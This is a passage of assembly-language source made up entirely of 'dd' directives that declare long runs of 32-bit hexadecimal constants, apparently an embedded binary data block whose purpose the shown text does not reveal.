0C51B7A57h, 4D46008Eh, 19DE90F6h dd 0CE737B4Fh, 4A994700h, 1794531Dh, 2C72037Ah, 480C2F32h dd 0EED36BB0h, 0F1AADF00h, 0F7FB7C2Bh, 4E020067h, 85B105D1h dd 18C068D2h, 0F052DC84h, 742E7275h, 5BA5005Ah, 502A77D0h dd 6801F830h, 0B74944B1h, 1080FDA7h, 5E6B7E85h, 840AF4A2h dd 2872B16Ah, 0FDF6E480h, 61F2E76h, 42103894h, 9E3068CBh dd 55BC19E5h, 0C090E4Ch, 0F160E872h, 0D3BE7FDh, 35526D00h dd 98DFF95Eh, 6923306Ah, 6338E858h, 0EA654600h, 0B071F270h dd 0A290A0F5h, 84AB0045h, 0D19A4DECh, 0F23065E7h, 0A30C90F7h dd 1E9CE8C2h, 8A67F9h, 0ADEF53AFh, 0C1004ECDh, 0F434475Ch dd 0DE9E13h, 1D70685h, 0A82C59E2h, 0F0E7F800h, 12C6FF82h dd 0AF2D0011h, 10AE766Bh, 40043B0h, 7E1B48B9h, 45A14Fh dd 9AF20BCAh, 0E8A30DD9h, 32AD99A0h, 0AC8B8607h, 0A67084D0h dd 1780E4A0h, 0F8CF58Fh, 3D87BF0Ah, 2A93D0BBh, 0B700F277h dd 4FA24D9Bh, 0FC0924h, 0B127314Ch, 5F296EEEh, 57008CEAh dd 0B8DE3D86h, 7C67ECEDh, 0A1AB005Bh, 8969DC12h, 0DA0034BCh dd 986CFB7Bh, 25BE563h, 0F5A2D19Dh, 0C5C00CEDh, 681C4712h dd 80006C9Ch, 0AF69C326h, 0A15A0044h, 4DE6CBDBh, 5B002D8Ah dd 6B2467DAh, 541248h, 0F07B4C7Dh, 0FECE4028h, 69EA60BDh dd 0E10F00C8h, 0F205D204h, 124C9B5Ah, 528403F9h, 801F4D10h dd 0EC8C38h, 296B58AFh, 802E7BB8h, 9106881Eh, 0D7055740h dd 0C7C39Eh, 2D12D530h, 652553A8h, 0DD888A03h, 0F821B947h dd 0F03B0495h, 9F19C089h, 802F20C3h, 8426500h, 0F7C1C84Eh dd 7EE40002h, 0F6624069h, 1E004792h, 0D16703A7h, 0A96CBh dd 0CA20C27Fh, 1933E997h, 16EF5F00h, 0F7427456h, 3911DC5h dd 0E1DA40E5h, 0F652862h, 5C2C6100h, 0B94E10A1h, 47523942h dd 7F1BCB00h, 0CC1CB03Fh, 3CF78E00h, 5BE2676h, 81F4001Ah dd 0BBE1D00Ch, 2A00490Ah, 0DDF3C88Eh, 663392Ch, 8AE2665Ch dd 8903313Bh, 0F0CD73E1h, 8F1000B3h, 7295C434h, 851EE91Bh dd 8609BEEBh, 5F2C00AAh, 0A2FCD9h, 0FB8CF405h, 473DF998h dd 0EA919200h, 0A504DCE5h, 0FDD90015h, 17EE2924h, 32481BFh dd 80397D84h, 10DA092Fh, 70AFA76Fh, 40DC00A5h, 793393A0h dd 0CA0F69EAh, 0C03FF1F3h, 950587D0h, 0FB32CDBh, 0D5702743h dd 598D3B09h, 24D607EDh, 8C01A9E0h, 0F3860035h, 39686B5Dh dd 5002585h, 0F62D782h, 0F3604C8h, 0CBFF65ADh, 83781921h dd 9040CAB0h, 4000B28Ah, 0FE5964Dh, 0F326FE0h, 0A1EA1B27h dd 48727BE0h, 171EB771h, 807A0FA2h, 0F62B2AE8h, 4F4C82h dd 7631A6E6h, 0E43AE0C8h, 0B83C6400h, 38F9CF63h, 94C201F8h dd 0CA99DC6Ch, 9C944140h, 1F55CC45h, 6924FE00h, 0CD5958AEh dd 8CA20091h, 6BFC4B1Ah, 11EEE812h, 3F60FFEEh, 9D070938h dd 0D1740FEFh, 0C560505Eh, 5D2A12E0h, 5513BB00h, 5F632D5Ah dd 0DA5700C0h, 673C33Bh, 938111Ah, 0E46428A8h, 0E9AC320Eh dd 584A2C0Fh, 93D93A23h, 0A13FF401h, 0C04FE17Fh, 2B3D1B22h dd 0F8F18486h, 0B480F20Ah, 665079h, 2DA0BF0Ch, 8D5824FFh dd 1884600h, 0F67D3B3Ch, 7037005Ah, 14D80C5Dh, 2B00ADA9h dd 5813858Dh, 38FF92h, 16805154h, 0C48B22C0h, 0ED9B6C00h dd 0F7C9085Eh, 0DD350788h, 609C2CB3h, 8C4322BAh, 0C6928D00h dd 9FC3E471h, 84FA5067h, 0EAD2134Eh, 0A7B8005Eh, 0E0829460h dd 62495800h, 0D5A40CFFh, 0CA5D00C8h, 31543A5Ch, 100E0A1h dd 8FD074D1h, 0BAE12h, 0C2C6435Fh, 652740A5h, 22812913h dd 2034A04Fh, 0D1423CE6h, 1FB100FBh, 68DBB5B6h, 2870B0A8h dd 0BCFD960Eh, 0E0C08F2Bh, 61ED0C91h, 18DBECDCh, 485CA86Ah dd 7E003009h, 47F2B7D4h, 0CB3EC98h, 5386E6A6h, 0D7005020h dd 5CAD60EEh, 388488h, 447DF4C8h, 0A7CCD125h, 0E9B7CF00h dd 1D63B14Bh, 0ED291428h, 316F0D4h, 0B8DE0070h, 3662E896h dd 58E2F601h, 0AC6773Bh, 60F853CCh, 9668685Bh, 30E7E57Fh dd 83021B30h, 0E37DF7EEh, 0DA0E087h, 0C04C70CFh, 6E356021h dd 790F83D2h, 8F2A13DFh, 639AC38Bh, 353FBDDh, 33E43F80h dd 0F0F7BCBEh, 85B4FB09h, 0A99F591Dh, 78078213h, 0FEB01AADh dd 91A33Ah, 5C9397BAh dd 676C62AFh, 0B84C9E2Ah, 87141500h, 0ACA3754Bh, 0D4C1001Bh dd 0BFEDD502h, 0C80707A5h, 7728BBA0h, 0D00F5C20h, 23710E83h dd 4FE0E6A4h, 0BA94705h, 0D8D0C01h, 83E860FAh, 3EE906E4h dd 0B8BCEB26h, 0B184CD87h, 4BD40071h, 0FE3BA787h, 412E000Dh dd 0D9767736h, 0A25F3A0Ah, 9B8CEE3Bh, 0A9101A7Eh, 67E1EF5Bh dd 0D0FE0h, 62A76754h, 801E99F1h, 101CE074h, 948F7DAAh dd 8007F74h, 57B06529h, 1FFA000Ah, 71A4F212h, 1003D0F9h dd 2A1B53A7h, 0E1A8A04Eh, 16D6000Dh, 279F9B0Ah, 33010E43h dd 0DE2C6C59h, 9885E0E4h, 0D04C54EFh, 0B6D40B34h, 0C8364018h dd 7ED5E838h, 10585088h, 1C40F5DEh, 7B331E66h, 1B1900C3h dd 4F12AD74h, 7A054815h, 8FB5B25Dh, 300B5B81h, 8137C0h dd 0AB275158h, 59EA5C4Eh, 0CEFF6300h, 6899A3B2h, 7A3B004Dh dd 3EB67914h, 6E00A109h, 6BBFF90Ch, 8F7087h, 94F6059Dh dd 0AC1F439Fh, 27E65F00h, 59455C35h, 0C62500E5h, 1DE91CCCh dd 0BD003167h, 3FDF5FB8h, 0EBF64Bh, 33288650h, 4324AE7Bh dd 79FF938h, 3DDF987Dh, 28FFEF0h, 9477C3Ah, 0A584491Ch dd 0EA6D2501h, 8B7B70F7h, 0AC126A01h, 0F0EBE4C8h, 58B31834h dd 40000858h, 5CA930FEh, 0D900C1DEh, 0D231C353h, 0EE5E2160h dd 0FAF528DAh, 475F00A4h, 56E37524h, 0EE00056Fh, 0C81C4252h dd 1848C44Dh, 68747F14h, 0A220DDD4h, 850B0051h, 0DF2273CFh dd 20CE9786h, 0D660A0D2h, 353DE65h, 45553AFCh, 103C52DDh dd 0B3B68E15h, 5047B3F7h, 0C6401E4Ah, 3C16078h, 0BA097F01h dd 211C24F6h, 807C6718h, 0EEC51C43h, 94074FDh, 0F60FB7Fh dd 0C821C02Eh, 50F1EBE8h, 9B615580h, 4E2B8D00h, 19B9C760h dd 724A00FCh, 3EDBB03Dh, 87037042h, 0EB9AC254h, 0B749001Dh dd 3F3A38D5h, 9C00B216h, 0F0A80C6Bh, 0C4ABC6h, 87248673h dd 4C8BE802h, 75AAFD01h, 57FC9B11h, 800BC2D4h, 0AB004B09h dd 0ECBA66B5h, 2CB1E8Ah, 6593045Ah, 0CA405422h, 0B50D064h dd 2800C23Ch, 0F5FD90A8h, 40387Ch, 5DFA65C0h, 66FFCF3Bh dd 0C892D400h, 0EF8D2429h, 0FC1805E2h, 40561112h, 0A56EC5C4h dd 8CEC5F98h, 0ADAF401h, 1FF6BDCFh, 0A7D5A450h, 0F84700BCh dd 7F72D1Eh, 0E90078EBh, 0F06113FAh, 115409h, 694295D7h dd 2E7F726h, 4E58910Fh, 0DF69DA12h, 0A39B43C0h, 0E247442Ch dd 16051930h, 438507FEh, 0D07FFB6Ch, 79B6BAB9h, 0D4A45EEEh dd 0DD809B80h, 93677B1Fh, 739CE25Dh, 0B0751700h, 0DEA872h dd 59F255D2h, 0C829FCF4h, 508A49h, 3F78BC09h, 72B53CFh dd 0B9EBB34Dh, 65E16CF7h, 0A40F94B0h, 0E0E49FBFh, 0DC0799BAh dd 1B870036h, 0AEB12BA1h, 74036AD4h, 54047E41h, 86EC8053h dd 6595004Bh, 9D1D6087h, 50698EDDh, 0A79380D9h, 2E3EC7Eh dd 0AF241BA8h, 3C614841h, 706370F3h, 7E217500h, 80C5A46Ah dd 48D04D89h, 0D8013F00h, 71A8658Eh, 8088093Dh, 394E7EA0h dd 50BD44h, 1CA16253h, 0DD9825B9h, 0B94A454h, 80CCF648h dd 3F316269h, 0EB76046Ah, 0C0DC0193h, 0F670BD2Eh, 0DE286FE4h dd 87EC1C8Ch, 0AF01447Ah, 2F997F90h, 0B9927083h, 9B90200Ch dd 3D005733h, 0DE32E359h, 0A801CB23h, 92C187A4h, 7C9E064h dd 0C1F5DA9h, 0A194C0BDh, 0A390D0A6h, 3118F633h, 0EBF8F007h dd 55B0715h, 0E1CB7763h, 0C565764Eh, 0E841F1DDh, 0D354A88Ch dd 6702428Ch, 1B0F51DFh, 0F444CAh, 0C7E2FCCFh, 0DEAC7372h dd 9859D300h, 7ECE935Bh, 0D8823068h, 0B434FA41h, 0CBE6F900h dd 0BE1D9ADBh, 1A9101BDh, 2DFB7D40h, 6288500Dh, 0FA09643Dh dd 8277C8BBh, 43672660h, 73C1C129h, 0B60B9040h, 36753B4Fh dd 0B0807863h, 0E4987FE2h, 0B77C8AFEh, 3BB42400h, 6F6AA0Eh dd 78900015h, 67C78869h, 87016F1Dh, 2FF44E99h, 6B718CB9h dd 1104418Fh, 9900D015h, 0FDF2EB21h, 0CC007EA1h, 0E0976D91h dd 4287AA0h, 7D4D1834h, 6E2AC068h, 400674Ah, 6D63DBBCh dd 7C7811B1h, 752101FBh, 0D51B9C9Fh, 82A05113h, 0F37180DAh dd 0B0FD9232h, 127518h, 0E7536D42h, 0C39D2EFFh, 8C915F0Bh dd 929C10A0h, 0C68603C5h, 26D31B09h, 99B85150h, 0A711CE00h dd 0CF8A6029h, 4ADE07AAh, 0BB0E519h, 902F0180h, 9F0A6202h dd 0BC432AFCh, 8C01AB93h, 6A9635E2h, 227ACD8h, 84B96C8Ch dd 304BC382h, 43EEDCC8h, 57377400h, 0A46D5DD7h, 0B5500585h dd 927BCD9h, 1880EEE8h, 0AC94A010h, 2AE31800h, 6F0460A7h dd 89E7184Bh, 0B86B51C4h, 5D9C8D00h, 7311F28h, 1EA4F470h dd 4326EB13h, 7A5B5780h, 0A90024BBh, 0F2E075B2h, 1BD1848h dd 3E177D04h, 2A7F0399h, 57B03A0h, 0F5E873FEh, 0DB8C402Dh dd 225A961Bh, 3F89C1Fh, 4A7EEE80h, 102C27h, 3706F199h dd 0CEF369DFh, 3CA56307h, 18E02521h, 7DA440h, 8F96B35Dh dd 0C9ADE619h, 0B01227Fh, 81F0C21h, 2982FC17h, 0E04C1409h dd 7028D981h, 0E542FCAAh, 41CEC100h, 61501C95h, 8918034Bh dd 5B938A4Dh, 1893858h, 3B73D9BAh, 0DE309D1h, 0D246AF51h dd 8504E020h, 0D2436FCh, 9D13D662h, 5E539400h, 0B11827h dd 7DA98A63h, 9B5526Ch, 8E30D878h, 23E2614Fh, 0A189086Eh dd 6B9FB93Bh, 6F374BC0h, 18BC858Eh, 18AFCF19h, 0BF50CE7Ch dd 7560F8A3h, 0B661EC58h, 221308FBh, 57408F89h, 7D19FBAh dd 7C97DB63h, 0C6C26084h, 1F611050h, 5A267169h, 0E0933180h dd 75A70B27h, 29E28F01h, 88351F2Dh, 5D394880h, 78CD9225h dd 3498ED14h, 0DE3FDCh, 3B94C397h, 526E0D13h, 21E9C26h dd 4A9C370h, 8DD0FDFAh, 0B105F01Ch, 131063DCh, 77BAA440h dd 3D4641BEh, 389E6C95h, 2A8047CCh, 68DAE014h, 9F00CB27h dd 114DD746h, 94CF9Dh, 0B595C185h, 42DB3726h, 3C8F84A0h dd 0E1D9A660h, 0E3320818h, 73A60h, 0B593F6FCh, 2A409AA6h dd 0DB690E06h, 3E31B73Bh, 1FF22E14h, 19761E93h, 704C19A1h dd 0E5F8B6A1h, 5B5DC00h, 2D16FEB8h, 0D1452430h, 911D8300h dd 6FD879F8h, 0CC00805Fh, 7636D9A3h, 1979519h, 0B50ED0E6h dd 401B23D1h, 9D64CE7Ch, 0CC1D9E28h, 0C66C1E00h, 0C3EE37F8h dd 50560CFFh, 1089180Eh, 0A0391960h, 425B96h, 13BF6FFBh dd 33997620h, 6A2427F8h, 930060C8h, 0D49D698h, 0EF4C00C1h dd 7748C5C9h, 50024F24h, 261BC4EEh, 8DD4A825h, 0F4019020h dd 9FCDD794h, 62F4F850h, 86B2443Ch, 2F2A0700h, 5EA5640Eh dd 0F62B1D1Ch, 50544087h, 47576669h, 0F4889B54h, 15E03500h dd 0A45D8668h, 362D09C9h, 380E0D6Ch, 0F11E1F31h, 6A0FAC00h dd 581A01h, 948E6768h, 0EEAA38E1h, 8F112300h, 1913787Eh dd 7CAC0CB1h, 0E0415D47h, 9961D700h, 0B9F054D8h, 22193817h dd 6DF94080h, 7B245AE2h, 66771302h, 9047AFB3h, 7E9A9BD8h dd 9FF301A5h, 0BCCB8BCh, 2AD26043h, 19506414h, 0ADE08EBCh dd 0C3E071A5h, 557C0A92h, 40CC883Ch, 7D225FFh, 0D6995600h dd 115F73A2h, 0B7A0064h, 0F568AEDAh, 0AF0FFA24h, 3D1A0DE1h dd 0EFB56C01h, 0F8223CE0h, 589B9C00h, 0EE129182h, 0F323D400h dd 36C4B5A8h, 0BAE8CDh, 0FFF04C55h, 891FBEAEh, 99428E30h dd 1F5A2295h, 0C4C694h, 9FC371A9h, 0E06F409h, 88465036h dd 38D700C1h, 0F7D9D8BCh, 7F01E243h, 0BE51A7FDh, 52D42F4Bh dd 67B70490h, 970B37D1h, 10903938h, 54001CDAh, 80EF31BFh dd 0DAB73h, 58C0C38Dh dd 5DE18213h, 46E2DE0Ch, 2430719Ch, 0E4ECB2h, 6CF3F029h dd 0AE269841h, 531A77C6h, 0CCC1859h, 31EE0087h, 1524C62Ah dd 6E0158FFh, 29CF2139h, 29809046h, 7B2B3878h, 0A3006157h dd 653E349Ch, 6303ACC6h, 559AB906h, 46C58E8h, 34AAAF04h dd 6888525Fh, 17BF0298h, 781049D4h, 426F4080h, 541FF895h dd 0DE80ED90h, 0E99E6B08h, 4446FED7h, 127CFF8Fh, 5A5F1B00h dd 0DE3F8B1Eh, 235700AAh, 0FAE7CC92h, 4730895Eh, 21C33197h dd 30070594h, 0C2668E92h, 84057D7h, 18002A49h, 0F7B47F23h dd 0C60E2ED1h, 109386C1h, 19E544h, 1D984589h, 0AEDCF512h dd 0A145E498h, 298015D5h, 830AA856h, 213C47F5h, 96861ECDh dd 6CCF309Eh, 6779C032h, 7F8EFCh, 0E6E4807Bh, 0F7A9ADA0h dd 8B612301h, 47FBE2F1h, 0F0FC48h, 3F276E20h, 0AB98E71Fh dd 6795C004h, 908213EFh, 60E719C1h, 0AD18AC78h, 59195C92h dd 0A98B600Eh, 2E8F8E97h, 50470B18h, 0D2C421h, 17832B60h dd 8953DBE2h, 0E016DA00h, 0D047FDA3h, 0DE07B8D1h, 471C24E1h dd 0B0B78764h, 854D82F3h, 80001B72h, 0B6FCF86Dh, 0FFA42A96h dd 9F2830h, 13F35CF5h, 0C192F189h, 51201730h, 0B48224Ch dd 15E72C9Eh, 47B59800h, 0DC16B63Ch, 0D430895Ch, 97A4BCFh dd 15A37364h, 0BFE0C890h, 0B76B021Dh, 0E4AE2A41h, 0B4306841h dd 0AD3B30BEh, 65F627F9h, 932C6100h, 83A8EB64h, 0AE793DE1h dd 0F9F10500h, 0C2C4497Ch, 538AE400h, 0C3B52D8Ch, 87021D98h dd 45E1D6BAh, 0D0242CE8h, 790D8F28h, 6A9E7C02h, 205B46EDh dd 0DF249197h, 0D4094276h, 6406999h, 2152CBh, 6BCDD036h dd 0C21DAC74h, 7930F609h, 44778247h, 0BA49E0BDh, 0AC140164h dd 23EFAF53h, 9192F072h, 708EF303h, 0E23ED53Fh, 208062C3h dd 18BFF284h, 0ADB100D1h, 0BD5D38CEh, 4200E071h, 37013192h dd 3189C36Ch, 0A5894D7Ch, 98082041h, 30F9D5FEh, 0E444FD3Ch dd 30796268h, 0C0204465h, 5AF0247h, 0CED8F996h, 35880FC9h dd 0C0FF05C5h, 4E74ADE4h, 4C72CF58h, 71450084h, 0CA902BA8h dd 62E20014h, 0D10880C7h, 69C6FD32h, 617847h, 4B81C48Ah dd 185E4214h, 6C96DA24h, 0C1750E81h, 0E020A6DCh, 23C50C7Fh dd 0F0395947h, 9400A977h, 0FA679981h, 0D818ECA8h, 7BD7A0D8h dd 3CBE48h, 0CC3E6AEAh, 428FFAh, 0F8141F15h, 17C2E0AEh dd 0E900E091h, 0CBDC69D8h, 0F78C0074h, 0F5908408h, 6B017BBDh dd 14098794h, 0A44C9989h, 465D24A2h, 0E2CE408Ch, 8C0097F1h dd 0EFBACBAEh, 15C5EC8h, 779334C3h, 60D42486h, 0D15C6C48h dd 852264h, 157FD039h, 2B18E2F0h, 0DBBC5516h, 0B3419500h dd 5CFFDAC6h, 0D06B209Bh, 0D3C06200h, 0C774C3FCh, 5BDF102Ch dd 29BD5A00h, 0C18D4706h, 994BF459h, 42DC4089h, 6900109Ah dd 7723E195h, 2ED1C1C9h, 16240CDAh, 86580872h, 60D26D8Eh dd 0CCF941E6h, 88360111h, 0B007088Eh, 0FAB8C54Eh, 7C4FA468h dd 2FB89050h, 0C5589603h, 39A474Ah, 0AA8A0D49h, 0D8290BFCh dd 1405ECCDh, 5CCC56E7h, 84A7005Eh, 1B508679h, 8979CD6Ch dd 76180099h, 14DCE0A8h, 0B8260493h, 0E0D6B80h, 0F800B7DEh dd 8E071FA5h, 13F2837h, 0CDE94EC8h, 0F41E9212h, 7D3489CBh dd 9030395Fh, 1F783AECh, 258BDF6h, 0ACA0E50Fh, 0C16D8880h dd 62147197h, 68C218h, 0AAE0D23h, 0B9474E45h, 42BE00A8h dd 0F1B7FB6Fh, 0CD417000h, 0DCAA9371h, 8F530B8Ch, 6081BB74h dd 30670D57h, 2E005CD4h, 0DA8BBF1Dh, 5105DD04h, 518083ACh dd 5F60D670h, 371DE508h, 27406B49h, 0ACDBDE66h, 4440B0EAh dd 1C01FDB5h, 7D7CCB62h, 89D11392h, 0C10DC080h, 1853CD80h dd 3A3D822h, 9F7CC0A7h, 0CEE299F1h, 3888922Fh, 2FF076Fh dd 0AEEB419h, 581F04ECh, 417482B0h, 299EB20h, 0CCB350A5h dd 4CDB262Dh, 0AAF60428h, 0C25CC458h, 0BA20E8A0h, 7C4F55CEh dd 0C571C2h, 2DC377CDh, 0B41C50D2h, 0F69729C0h, 26FD814Eh dd 11482234h, 0A558001Bh, 96C1E042h, 189F17E5h, 0C60820DCh dd 29C01A10h, 0F6CEF3BDh, 0C2690BCCh, 0A4116889h, 38C7247h dd 0EA0B832Ch, 0B5CEE84Ch, 0A47E580Dh, 0D1148D22h, 805C1B34h dd 0E696F647h, 44C303CBh, 9E634F23h, 4C68BCEAh, 4E60A7ADh dd 76247369h, 62E102B3h, 49DCB2D7h, 0A600B859h, 94275221h dd 5C060085h, 1B6C6E96h, 8963D918h, 0A4BB3B81h, 69E0EB0Eh dd 0DC7A7325h, 41C98600h, 0D11FB999h, 13E77477h, 9716508Ch dd 7F7C0128h, 7BE4483Bh, 93C1C00h, 238DA5C3h, 6BE1096Fh dd 4000599Ah, 0CF61D9A9h, 8C9B732Eh, 93E83800h, 62052478h dd 7434C052h, 0C7000866h, 1C275CAAh, 29B7EAh, 654EF05Fh dd 45ACDDBDh, 848E432Ch, 567F0260h, 0E9871DA5h, 0FBC30052h dd 0D84DED1h, 6AA87A03h, 225C14BBh, 0D900B6C0h, 3EBA4CC3h dd 603C2E8Ch, 0A134198Ah, 3200F8EAh, 0FD855C6h, 244DFD9h dd 0E220825h, 7841AD01h, 9574207Fh, 162488h, 610D1E38h dd 7158CFADh, 0B0864C90h, 0C55B1700h, 7BF71B77h, 9BEA0097h dd 0A2D3DB43h, 0F316723Ah, 8401EEF8h, 0C7A08DF1h, 18A6CFD0h dd 84CAE09Dh, 0B45C55A2h, 782200h, 2F7CB8D5h, 0A089F81Fh dd 12194360h, 4857FAC5h, 4A835C47h, 0CCC0EA8Dh, 1C017CBCh dd 30852B04h, 2D10D6h, 36D3FF00h, 239BA1CFh, 9294A01Ch dd 52288881h, 0E7C0CC5Eh, 0AC0A124Dh, 0D9602346h, 0F04EA0C7h dd 0BF0A8509h, 90E95275h, 0D047D80Ah, 8BDA2340h, 94720F30h dd 632F2B57h, 0D1140257h, 0FC98E9C2h, 0F7005474h, 0A4A86A69h dd 672E7Fh, 8081A6A7h, 0CEA2CDD9h, 46092890h, 80F58E04h dd 0C4418ACAh, 39D5482Dh, 0EEC6FD00h, 5B2C7BAh, 3C40F09Ch dd 0DDE187h, 0AA95AB7Eh, 0D889738Fh, 2440104Bh, 9BF3B7D4h dd 0A0330051h, 4A979113h, 20092DFAh, 4C9DE23h, 0CC0EE15h dd 554007h, 56C83ECFh, 11703BCEh, 1090680Ch, 70951FEh dd 99D645C6h, 0FDCDA0BBh, 0EB00A121h, 0E97BBE0Bh, 13E7960Ch dd 88ACCF19h, 8B00CE34h, 0FBF18E69h, 126ED81h, 8595A063h dd 0E6353982h, 108864C1h, 14C854h, 13B8174Bh, 0B6756C21h dd 1101FB77h, 0DC4861E5h, 0B4404D44h, 3AC4E0D8h, 8500CC92h dd 78861C98h, 0EE193D5Fh, 781B03Bh, 0B858C0h, 9B5BB6D5h dd 1BE98EE0h, 22637C13h, 7740D001h, 0C4405D60h, 0B0AE73A1h dd 0F0651BCCh, 88B068D5h, 0BC941072h, 0EF361A81h, 66D02864h dd 0A35839DFh, 0CEAD027Dh, 68F14F3Eh, 80CFE087h, 2204C835h dd 46F8CB16h, 94C2A020h, 0F0A60345h, 0C66B172Ch, 0ACF34BC8h dd 0D066902Ch, 98CC0167h, 79CC1F9Fh, 0A7B3003Bh, 0F9E96F2Fh dd 0EC689426h, 0D1EEDD01h, 0A1850F0Bh, 8145DB2Bh, 70FA6108h dd 0A8026EFCh, 0A68918EAh, 0F0E89003h, 0A9604E1h, 0C0A0DCD8h dd 0ABC91DB7h, 258F4204h, 7C08B02h, 0A00BA4AEh, 587E7CB4h dd 740FF723h, 11A14E53h, 70B6DE0Dh, 4F7B7688h, 0A69CBB8h dd 0ACC89861h, 4C5F00FCh, 8D73DCABh, 0F6901622h, 2436BD05h dd 20B276AAh, 1371C007h, 9D5DE064h, 183A3075h, 84CD02C5h dd 55C1B80Bh, 60E2B541h, 71000298h, 98CC43BFh, 4ED1B2E1h dd 683C4223h, 26E36DECh, 8A02A03Eh, 940FD1FEh, 17650860h dd 5957EACh, 0D13BBA99h, 2201E21h, 0A18A41DCh, 6F8778D9h dd 77417C09h, 0E7DD3D58h, 0F7D14C70h, 1F718039h, 0A8365B8h dd 3AC0C994h, 8896F300h dd 989E7397h, 66307869h, 104B1890h, 48F41114h, 0D339C100h dd 2BDABF67h, 62090090h, 9332D2AAh, 0CF052FE1h, 3B575AC4h dd 174400C8h, 0FA7351h, 974DB1B8h, 3C5C747Ch, 0C82E8174h dd 64CC8E63h, 0ADA00A4Ch, 806C427Ch, 0C150F761h, 9E5CA989h dd 0B30A7E4Ch, 80938A40h, 6F6B1E40h, 80901274h, 79CCC8E5h dd 0B5C0107h, 0C560DA99h, 6E4570h, 470D15D6h, 12FB6266h dd 0B021974Fh, 6AF450B2h, 0E0075851h, 3DD4B450h, 414234Bh dd 0AF0183EAh, 0DC223E89h, 1E0EF014h, 45C73C09h, 7C44AEh dd 74A1C9C6h, 2C735F66h, 2783A64Ch, 9E601108h, 3DFD7CACh dd 577EA081h, 0C86DD0A9h, 87039A63h, 51458FE5h, 4CB4A489h dd 198F2A6h, 56287535h, 625250AEh, 0D2E09B4h, 12BCE846h dd 0B16D00CAh, 0F589941Ah, 0DD037770h, 0BA5CEB28h, 9D800EFh dd 7DFF55DBh, 20FD3492h, 0C90ACC4h, 77A47107h, 6FD1CEAFh dd 0ABE11D9h, 2675880Ch, 68756978h, 0E7801C94h, 0B7E3ACAFh dd 0F4154C84h, 0CB68181h, 3270C02Ah, 896C0A00h, 0EEDEA7BAh dd 543E1FBDh, 7DB500A2h, 0E34D347Eh, 9C504758h, 1F2BAB00h dd 1C8856BCh, 0C32E815Ch, 4A74FF11h, 513D8B80h, 5DCC4B00h dd 2AAACEC1h, 80C4B144h, 0EF866692h, 7B007FDCh, 9A977E69h dd 90FA99ACh, 3AECA680h, 178490D4h, 8319E226h, 9D00ED4h dd 8E0071ECh, 3C77A3CEh, 0E8F6DAFFh, 308D487Fh, 9D7828C0h dd 7100489Ah, 0A016BB45h, 5DE4Ch, 694A53FBh, 0EF25350Bh dd 0E0060D26h, 0E7482300h, 0DABA41h, 6224E46Fh, 0FD3EDC83h dd 54613B26h, 1258C43Dh, 88FF59B2h, 0AA095CD0h, 84A806FDh dd 47491418h, 1F54E090h, 0CD073A01h, 3FABE064h, 3D502270h dd 0C10B66C2h, 9880EE80h, 9C354ECEh, 84B06390h, 0C409905Bh dd 0F224809Fh, 2CA0800Fh, 4448D7Dh, 80EBCCD0h, 0DC2456DCh dd 1C59C516h, 0BCFDE8D0h, 80349B75h, 96122349h, 1814D2D9h dd 24AC89EBh, 4097D87Ah, 17989490h, 72D602A3h, 0A5DE306h dd 0B101E4E6h, 8CFFE09h, 0F3D02849h, 0F98E1382h, 5C04EF43h dd 0D0C2133Dh, 82C620A6h, 261D0298h, 72C05287h, 18BA70AFh dd 0CE0539C0h, 1D2E0A92h, 509CA47Ch, 2D18BA68h, 0D1F0E037h dd 760F7477h, 7FA800E1h, 7561505Fh, 0D1F1837h, 177A166Fh dd 0D030AF6Dh, 9019DA09h, 8262004Ah, 0C4A29E7Bh, 0F816C373h dd 5CD0A518h, 49916Bh, 0A98A8E1Fh, 389FC357h, 5912630Bh dd 0D7748083h, 294DDCC1h, 3FFC8E8Ah, 20B85229h, 3BE918C4h dd 54C118Fh, 8B1F69FAh, 0EC80D5A9h, 9409AB77h, 0F502696h dd 0AF5D40C4h, 2E09C3EEh, 7B9A8D4h, 3BE48DE8h, 7ABCCC1h dd 5D5A0884h, 0EC80E546h, 0A0ED322h, 0D3747B33h, 7F3100C8h dd 0CF6E0B25h, 3C684681h, 8D006904h, 84C04033h, 2CD7704Ah dd 1B3BD68h, 0C456AEFFh, 74E08CF8h, 0F14C08EBh, 881407Ch dd 0C0D96197h, 12001B8Ch, 31EE14FFh, 0E6EFC5A9h, 80A099AFh dd 46E633F3h, 0BA00093Dh, 8D93BB8Eh, 1A9847B6h, 605E90B4h dd 8400EC78h, 899B9C5Dh, 402015E3h, 0DE017140h, 0CDC2C911h dd 0E0FE0479h, 2849A18Ch, 48B4B630h, 0CFC04890h, 3996A618h dd 0EA001BF6h, 0EB5A3DD8h, 7C01C24Eh, 45361580h, 0F10090D3h dd 0D4D9686Bh, 0D67D8DD7h, 1071AB07h, 7350FC7Eh, 0B49A8920h dd 1DE09778h, 8F002294h, 0CCF527E9h, 98E6C35Fh, 0FAA129CCh dd 0E380BCB4h, 1CD2075Eh, 4C0F36DCh, 7C3351F3h, 7C349F07h dd 4128F182h, 9E607B5Ch, 88955026h, 863E2C9Dh, 188D040Ah dd 0D150E4C4h, 3C562C5Bh, 2E54C8h, 0F08AB196h, 833F3448h dd 0BB89B00h, 0D4F75ACFh, 887D4BF1h, 9400F41Ch, 0D3750A91h dd 2C48619h, 0EB8805A9h, 5CC1E7A7h, 0AD6DC482h, 68185024h dd 44A7F660h, 680F4C0h, 8E7DAE3Ch, 4D13C8BAh, 4D017CBh dd 0EEE690C8h, 1A49825h, 0BA839B7Ah, 706718D9h, 1D5CE70Ch dd 2CD0C03Ch, 1307E92Dh, 0C8245088h, 3850CC48h, 2752938Ah dd 0BD6C0FC0h, 71D2A0D6h, 603CEFAEh, 625231ACh, 0BE009180h dd 479F4495h, 2F06D30Eh, 0C8204643h, 3A7483F7h, 0C000A978h dd 0E7F9167Eh, 613BED2Ah, 0E69549A3h, 3504F848h, 3D61470Bh dd 1A40EDAh, 3C6A557Ch, 0F19C032Eh, 40CACF88h, 720188D9h dd 0EC25C3B5h, 18722E0h, 0E4F4B3EFh, 40AE3B2Ah, 0EC9DBE78h dd 3CA01E01h, 0ABA37346h, 0FC107E8h, 7DFD3A95h, 0F17C3056h dd 722D2EECh, 87D0D8h, 0DDA77D21h, 0F4894EC4h, 5A038303h dd 0E8F79776h, 988CC690h, 1848087Ch, 0BCA095C2h, 0CB1DD703h dd 90EDF692h, 227AAC7h, 0CCDF11D4h, 24C0DC0Eh, 0AF48FF67h dd 0E8063048h, 3852204Dh, 2F80EEEh, 0DF9B1097h, 9471133Bh dd 0AAA68F03h, 0DC8BF066h, 0BAE40024h, 33EBF44Ch, 0D400B6CEh dd 8E9341D9h, 50FA4A79h, 0C075A856h, 0BA88A950h, 914A58Ch dd 8458A619h, 0D48946CEh, 